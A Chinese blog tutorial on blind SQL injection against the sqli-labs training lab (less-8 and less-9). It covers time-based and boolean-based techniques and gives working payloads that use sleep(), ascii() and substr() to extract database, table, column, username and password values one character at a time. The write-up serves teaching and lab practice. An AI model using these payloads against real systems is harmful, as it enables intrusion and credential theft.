首页 > 数据库 >SQL注入实战——盲注

SQL注入实战——盲注

时间:2024-10-09 17:46:36浏览次数:10  
标签:实战 盲注 substr sleep --+ SQL ascii select

利用sqliabs中less-8和less-9学习盲注

目录

盲注

一、基于时间的盲注

1.时间盲注常用函数

2.打开less-9

3.测试的核心语句

4.延时注入

5.猜测数据库

利用二分法

猜测数据表、字段名、用户名及密码

 

二、基于布尔的盲注

1.布尔注入常用函数

2.打开less-8 

3.判断当前数据库长度

4.猜解数据库

5.猜解数据表、字段名、用户名及密码

三、总结


盲注

盲注是指利用与本身并不会返回想要的数据,但通过注入代码后观察差异(如页面差异或时间差异等),以此来判断注入的代码是否成功运行。这种技术常用于攻击者试图从数据库中提取信息,但由于数据库的限制或配置,直接查询可能无法返回有用的数据。


 

一、基于时间的盲注

1.时间盲注常用函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

2.打开less-9

尝试?id后回显you are in......

374eeb1651ba44e0b27b0fc6a704d0c8.png

3.测试的核心语句

if(查询语句,sleep(5),1),即如果我们的查询语句为假,那么直接返回结果;如果我们的查询语句为真,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。本人使用的是联想浏览器,再该页面右键鼠标点击检查后进入开发者工具。

0232632163fe429e8c644bc00d53db40.png

4.延时注入

用的最多的注入常用的判断语句:
'and if(1=0,1,sleep(10))--+
”and if(1=0,1,sleep(10))--+
)and if(1=0,1, sleep(10))--+
')and if(1=0,1,sleep(10))--+
")and if(1=0,1,sleep(10))--+
利用if(条件,0.1)函数,当条件为真,返回0,假则返回1

逐次使用单引号 双引号 括号 单引号加括号 双引号加括号

5.猜测数据库

?id=1' and if(ascii(substr(database(),x,1))=115,sleep(5),1)--+

上述指令中x的取值为数据库的第x个字母,也就是说,我们逐个改变x的值就可以猜测到数据库名

s

efb51b82553341ab8dc286d4a76ab509.png

e

6771fac69f0a4f079b33c43fe8e3fb8f.png

得到第一个字母为s,第二个字母为e,以此类推,数据库为security

利用二分法

?id=1'and if(ascii(substr(database(),1,1))>95,sleep(6),1)--+

利用二分法猜解数据库的每一个数据
说明数据库第一个数据的二分法以此类推,116时直接返回页面。ascii码为115,即为s,后面的数据同理,最后数据库名为security当然在爆数据库前最好先爆数据库长度(即在database()=后逐个试用数字,最后为8)。当然实际环境中,很多常用的函数是会被过滤的,需要绕过。

猜测数据表、字段名、用户名及密码

在less-1中已经爆破出数据表以及各字段和所有用户名及密码,并且盲注步骤复杂这里不再演示,具体指令如下:

数据表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+

字段名

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

 用户名

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

密码

?id=1' and if(ascii(substr((select password from users limit 0,1), 1,1))=68,sleep(5),1)--+

 

 

 

二、基于布尔的盲注

1.布尔注入常用函数

基于布尔型的盲注,我通常采用下面的办法猜解字符串。
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))N;

2.打开less-8 

1e3194cd2b10408799e88344e642f9a3.png

3.判断当前数据库长度

?id=1' and length(database())>=8 --+

 从1开始试,当为9时回显报错

960c994df65d4c98abb256eaad836e69.png

4e8a737b071343ca8c0750e6c87d798c.png

4.猜解数据库

?id=1' and ascii(substr((select database()),1,1)) = 115 --+

ASCII码值115为s,依次爆破出数据库名为security 

cb5859b6389342e3a0e7d676b16c371c.png

5.猜解数据表、字段名、用户名及密码

在less-1中已经爆破出数据表以及各字段和所有用户名及密码,并且盲注步骤复杂这里不再演示,具体指令如下:

数据表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+

字段名

?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),1,1)) = 105 --+

用户名

?id=1' and ascii(substr((select group_concat(username) from users),1,1)) = 68 --+

密码

?id=1' and ascii(substr((select group_concat(password) from users),1,1)) = 68 --+

三、总结

SQL盲注主要分为基于布尔的盲注和基于时间的盲注两种类型。基于时间的盲注则是通过观察页面响应时间的变化来判断查询结果;而基于布尔的盲注是通过构造SQL语句,使得页面返回True或False的结果来判断查询结果。

希望对你有所帮助!!

 

 

标签:实战,盲注,substr,sleep,--+,SQL,ascii,select
From: https://blog.csdn.net/2301_78817088/article/details/142787785

相关文章

  • C# SqlSugar增删改查
     staticvoidMain(string[]args){ConnectionConfigconnectionConfig=newConnectionConfig(){DbType=DbType.SqlServer,ConnectionString="Server=.;InitialCatalog=Test;User......
  • Python操作SQLServer数据库增删改查
    #coding:utf-8importpymssqldeffn_query(cursor):#查询sql='SELECT*fromTest'cursor.execute(sql)row=cursor.fetchone()whilerow:print(row)row=cursor.fetchone()deffn_insert(cursor):#......
  • PostgreSQL 使用pg_dump备份和恢复数据库
    PostgreSQL使用pg_dump备份和恢复数据库pg_dump是PostgreSQL提供的用于备份数据库的工具,它可以将数据库内容导出为不同格式的文件,以便之后进行还原或迁移。下面是关于pg_dump和pg_restore的详细使用说明。一、pg_dump基本语法pg_dump[选项]-d<数据库名>-f<备......
  • 尚硅谷vue3实战项目--硅谷甄选项目笔记
    硅谷甄选运营平台此次教学课程为硅谷甄选运营平台项目,包含运营平台项目模板从0到1开发,以及数据大屏幕、权限等业务。此次教学课程涉及到技术栈包含:vue3+TypeScript+vue-router+pinia+element-plus+axios+echarts等技术栈。一、vue3组件通信方式通信仓库地址:https://gitee.c......
  • python3数据库操作及ORM框架sqlalchemy使用
    sqlite3importsqlite3try:#连接到SQLite数据库,数据库文件是test.db,如果文件不存在,会自动在当前目录创建:conn=sqlite3.connect("test.db")#创建一个Cursorcursor=conn.cursor()#执行SQL语句cursor.execute("createtableuser(idva......
  • 产品战略规划实战暨工信部教考中心产品战略规划能力
     通过此次课程培训,可使学习者获得如下收益:   掌握华为BLM业务领先模型;运用双差分析并找出根因;掌握确定战略意图方法;运用五看方法论进行高质量市场洞察;运用竞争取舍线工具展开高质量的竞争;运用SPAN模型和综合指数法筛选优质机会;熟练运用10种创新策略......
  • 项目实战——简单计算器
    代码演示:whileTrue:try:op=input('请输入一个四则运算算式:')if'+'inop:a=op.split('+')result=int(a[0])+int(a[1])print(result)elif'-'inop:......
  • Mysql主从复制记录笔记
    一、主机的配置[mysqld]log-bin=mysql-binbinlog-do-db=test2024binlog-ignore-db=mysqlbinlog-ignore-db=information_schemabinlog-ignore-db=performance_schemaserver-id=1二、从机的配置server-id=2log-bin=mysql-binbinlog-do-db=test2024binlog-ignore-db=mysqlbinlog-ig......
  • PostgreSQL E转义字符
    背景:多行数据作为select的where查询条件,数据库里直接找能找到,但select查询不到数据AAABBBCCCselectratmplidfromcertificateswhereprivka='AAABBBCCC';查询不到数据,修改如下selectratmplidfromcertificateswhereprivka=E'AAA\nBBB\nCCC\n';也可以借助......
  • MySQL 数据库与表的创建:从入门到实践
    MySQL数据库与表的创建:从入门到实践在当今的信息化时代,数据库作为数据存储和管理的核心组件,扮演着举足轻重的角色。MySQL,作为一款开源的关系型数据库管理系统(RDBMS),凭借其高性能、高可靠性和易用性,成为了众多开发者的首选。本文将详细介绍如何在MySQL中创建数据库和表,并通......